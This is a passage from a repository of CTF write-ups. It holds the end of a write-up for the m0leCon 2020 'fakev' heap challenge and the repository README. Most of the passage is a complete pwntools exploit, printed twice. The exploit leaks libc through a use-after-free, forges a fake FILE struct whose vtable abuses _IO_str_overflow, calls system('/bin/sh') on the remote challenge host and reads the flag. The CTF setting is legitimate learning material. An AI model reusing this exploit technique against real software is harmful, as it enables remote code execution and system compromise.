be done by filling up `tcache[0xf0]` and then using the first vuln (UAF in reading) to read content of the freed unsorted bin chunk. 44 | 45 | Controlling the program flow after `fclose` is called can be done by forging the vtable of the fake file struct. Of course, we can't just point it to any fake vtable because of `_IO_vtable_check`. Fake vtable should be placed inside of libc vtable section. After searching for the right function, we're faced with `_IO_str_overflow`. Just satisfy the requirements and call arbitrary code with controlled `rdi`. 46 | 47 | ```python 48 | from pwn import * 49 | 50 | 51 | def open_file(io, idx, fake_idx=None): 52 | io.sendlineafter(':', '1') 53 | if fake_idx is not None: 54 | io.sendafter(':', fake_idx) 55 | else: 56 | io.sendlineafter(':', str(idx)) 57 | 58 | 59 | def read_content(io, idx): 60 | io.sendlineafter(':', '2') 61 | io.sendlineafter(':', str(idx)) 62 | 63 | 64 | def close_file(io): 65 | io.sendlineafter(':', '4') 66 | 67 | 68 | def main(): 69 | libc = ELF('./libc.so.6') 70 | io = remote('challs.m0lecon.it', 9013) 71 | 72 | for idx in range(1, 9): 73 | open_file(io, idx) 74 | for idx in range(8): 75 | close_file(io) 76 | log.info('tcache[0xf0] is filled up') 77 | 78 | read_content(io, 1) 79 | libc_arena = u64(io.recvn(17)[9:]) 80 | libc_base = libc_arena - 0x3ebca0 81 | 82 | log.success('libc_arena @ ' + hex(libc_arena)) 83 | log.success('libc_base @ ' + hex(libc_base)) 84 | 85 | for idx in range(1, 9): 86 | open_file(io, idx) 87 | open_file(io, 1) 88 | 89 | vtable = libc_base + 0x3e82a0 90 | rdi = libc_base + next(libc.search('/bin/sh')) 91 | system = libc_base + libc.symbols['system'] 92 | 93 | fake_file = '' 94 | fake_file += p64(0x2000) # flags 95 | fake_file += p64(0) # _IO_read_ptr 96 | fake_file += p64(0) # _IO_read_end 97 | fake_file += p64(0) # _IO_read_base 98 | fake_file += p64(0) # _IO_write_base 99 | fake_file += p64((rdi-100)/2) # _IO_write_ptr 100 | fake_file += p64(0) # _IO_write_end 101 | fake_file += p64(0) # _IO_buf_base 102 | fake_file += p64((rdi-100)/2) # _IO_buf_end 103 | fake_file += p64(0) # _IO_save_base 104 | fake_file += p64(0) # _IO_backup_base 105 | fake_file += p64(0) # _IO_save_end 106 | fake_file += p64(0) # _markers 107 | fake_file += p64(0) # _chain 108 | fake_file += p64(0) # _fileno 109 | fake_file += '\xff'*8 110 | fake_file += p64(0) 111 | fake_file += p64(0x602110) 112 | 113 | fake_file += '\xff'*8 114 | fake_file += p64(0) 115 | fake_file += p64(0x602108) # file 116 | fake_file += p64(0) # next 117 | fake_file += p64(0) 118 | fake_file += p64(0) 119 | fake_file += p64(0) 120 | fake_file += p64(0) 121 | fake_file += p64(0) 122 | fake_file += p64(vtable-0x3a8-0x88) # vtable 123 | fake_file += p64(system) # alloc_buffer 124 | 125 | payload = ''.join([ 126 | '4'.ljust(8, '\x00'), 127 | fake_file 128 | ]).ljust(0x100, '\x00') 129 | io.send(payload) 130 | log.success('embeded fake file struct into linked list') 131 | log.info('triggering fclose on fake file struct...') 132 | 133 | io.sendline('cat flag.txt') 134 | 135 | io.interactive() 136 | 137 | 138 | if __name__ == '__main__': 139 | main() 140 | ``` 141 | 142 | > ptm{pl4y1ng_w17h_5t4cks_4nd_f1l3s_f0r_fun_4nd_pr0f} -------------------------------------------------------------------------------- /2020/m0leCon/fakev/fakev: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/konatabrk/ctf-writeups/472ed0288985b8ff26333f99ed85f3f407598fee/2020/m0leCon/fakev/fakev -------------------------------------------------------------------------------- /2020/m0leCon/fakev/fakev.py: -------------------------------------------------------------------------------- 1 | from pwn import * 2 | 3 | 4 | def open_file(io, idx, fake_idx=None): 5 | io.sendlineafter(':', '1') 6 | if fake_idx is not None: 7 | io.sendafter(':', fake_idx) 8 | else: 9 | io.sendlineafter(':', str(idx)) 10 | 11 | 12 | def read_content(io, idx): 13 | io.sendlineafter(':', '2') 14 | io.sendlineafter(':', str(idx)) 15 | 16 | 17 | def close_file(io): 18 | io.sendlineafter(':', '4') 19 | 20 | 21 | def main(): 22 | libc = ELF('./libc.so.6') 23 | io = remote('challs.m0lecon.it', 9013) 24 | 25 | for idx in range(1, 9): 26 | open_file(io, idx) 27 | for idx in range(8): 28 | close_file(io) 29 | log.info('tcache[0xf0] is filled up') 30 | 31 | read_content(io, 1) 32 | libc_arena = u64(io.recvn(17)[9:]) 33 | libc_base = libc_arena - 0x3ebca0 34 | 35 | log.success('libc_arena @ ' + hex(libc_arena)) 36 | log.success('libc_base @ ' + hex(libc_base)) 37 | 38 | for idx in range(1, 9): 39 | open_file(io, idx) 40 | open_file(io, 1) 41 | 42 | vtable = libc_base + 0x3e82a0 43 | rdi = libc_base + next(libc.search('/bin/sh')) 44 | system = libc_base + libc.symbols['system'] 45 | 46 | fake_file = '' 47 | fake_file += p64(0x2000) # flags 48 | fake_file += p64(0) # _IO_read_ptr 49 | fake_file += p64(0) # _IO_read_end 50 | fake_file += p64(0) # _IO_read_base 51 | fake_file += p64(0) # _IO_write_base 52 | fake_file += p64((rdi-100)/2) # _IO_write_ptr 53 | fake_file += p64(0) # _IO_write_end 54 | fake_file += p64(0) # _IO_buf_base 55 | fake_file += p64((rdi-100)/2) # _IO_buf_end 56 | fake_file += p64(0) # _IO_save_base 57 | fake_file += p64(0) # _IO_backup_base 58 | fake_file += p64(0) # _IO_save_end 59 | fake_file += p64(0) # _markers 60 | fake_file += p64(0) # _chain 61 | fake_file += p64(0) # _fileno 62 | fake_file += '\xff'*8 63 | fake_file += p64(0) 64 | fake_file += p64(0x602110) 65 | 66 | fake_file += '\xff'*8 67 | fake_file += p64(0) 68 | fake_file += p64(0x602108) # file 69 | fake_file += p64(0) # next 70 | fake_file += p64(0) 71 | fake_file += p64(0) 72 | fake_file += p64(0) 73 | fake_file += p64(0) 74 | fake_file += p64(0) 75 | fake_file += p64(vtable-0x3a8-0x88) # vtable 76 | fake_file += p64(system) # alloc_buffer 77 | 78 | payload = ''.join([ 79 | '4'.ljust(8, '\x00'), 80 | fake_file 81 | ]).ljust(0x100, '\x00') 82 | io.send(payload) 83 | log.success('embeded fake file struct into linked list') 84 | log.info('triggering fclose on fake file struct...') 85 | 86 | io.sendline('cat flag.txt') 87 | 88 | io.interactive() 89 | 90 | 91 | if __name__ == '__main__': 92 | main() -------------------------------------------------------------------------------- /2020/m0leCon/fakev/libc.so.6: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/konatabrk/ctf-writeups/472ed0288985b8ff26333f99ed85f3f407598fee/2020/m0leCon/fakev/libc.so.6 -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # Prolog 2 | 3 | Sorry for my poor English, if you find any grammar mistake, then leave an issue or email me :) 4 | 5 | # WTF is CTF 6 | 7 | If you don't know what CTF is, then you can read about it [here](https://ctftime.org/ctf-wtf/). Basically, it's hacker competitions where you are given different tasks and the answer to a task is a string called **flag**. 8 | 9 | **Writeup** is a description of solution for a specific task. 10 | 11 | # General info 12 | 13 | Here are mostly my writeups for different CTF tasks. "Mostly" means that other people could took part in the solution as well as me. So, I will try to mention all of them :D 14 | 15 | All writeups are about __Reverse Engineering__ and __Binary Exploitation__ tasks. No crypto, forensics, and others. I'm not specialized in such categories. In case you want to explore writeups on other categories, then you can visit [VoidHack writeups page](https://github.com/VoidHack/write-ups) (people say it's a great resource to learn cool hacker stuff) 16 | 17 | I sorted all writeups by years and CTF names, so you're welcome to explore them! By the way, I will (at least, I will try to) mirror these writeups to [VoidHack writeups page](https://github.com/VoidHack/write-ups), so you can find them here or there. 18 | 19 | # About me 20 | 21 | My name is Mike (also known as "konata" and "merrychap") and I'm a member of [voidka](https://ctftime.org/team/11532) and [VoidHack](https://ctftime.org/team/21137) teams. I'm open to any discussion and you can contact me via email. Also, [my profile on ctftime](https://ctftime.org/user/11665) 22 | 23 | # Contributions 24 | 25 | If you find some bug or need an explanation on a weird place in a writeup, then leave an issue and I will try my best to recall what this writeup was about and add some details :D --------------------------------------------------------------------------------